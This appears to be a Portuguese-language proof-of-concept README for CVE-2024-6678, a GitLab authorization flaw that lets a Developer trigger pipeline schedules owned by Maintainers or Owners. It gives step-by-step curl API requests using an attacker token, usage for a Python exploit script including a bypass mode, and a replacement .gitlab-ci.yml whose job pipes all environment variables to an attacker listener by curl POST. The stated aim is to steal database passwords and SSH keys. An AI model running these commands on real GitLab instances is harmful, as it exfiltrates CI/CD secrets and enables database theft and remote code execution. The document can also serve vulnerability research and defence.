
PoC for CVE-2024-6678
PoC para CVE-2024-6678
O GitLab permite que usuários executem manualmente agendamentos de pipelines CI/CD (Pipeline Schedules) através do botão «Play». A vulnerabilidade consiste no fato de que a função «play» permite que qualquer usuário com direitos de Developer (e não apenas o proprietário do agendamento) execute o agendamento. Isso acarreta duas consequências:
O impacto final dependerá do que está armazenado nas variáveis do agendamento. Por exemplo, a variável DB_PASSWORD possibilita um dump completo do banco de dados, e SSH_PRIVATE_KEY possibilita obter RCE.
develop, staging) — ou no projeto existem agendamentos com formato de ref curto (bypass)Importante: agendamentos em branches protegidos (por exemplo,
refs/heads/maincom proteção ativada) são bloqueados pela políticaPipelineSchedulePolicy#protected_refe retornam HTTP 403. O ataque funciona para branches não protegidos — que é exatamente onde frequentemente são criados agendamentos de integração e staging com credenciais reais.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Encontre um agendamento pertencente a um usuário mais privilegiado (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Resposta esperada: HTTP 201 — pipeline adicionado à fila.
O pipeline é criado em nome do atacante (current_user), mas com todas as variáveis do agendamento (que podem incluir chaves de API, tokens, credenciais configuradas pelo proprietário).
HTTP 500 "Unable to schedule pipeline run immediately" — Comportamento esperado. É a deduplicação do Sidekiq (
deduplicate :until_executed): a tarefa para este agendamento já está na fila de uma execução bem-sucedida anterior. Isso significa que o ataque já funcionou anteriormente e a tarefa está aguardando execução.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Execução básica: seleção automática de agendamento
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Especificar um agendamento concreto
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Via GraphQL (requer --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Verificar bypass legacy-ref
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Antes do trigger, o PoC substitui o .gitlab-ci.yml no develop por: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Tudo isso chega ao seu listener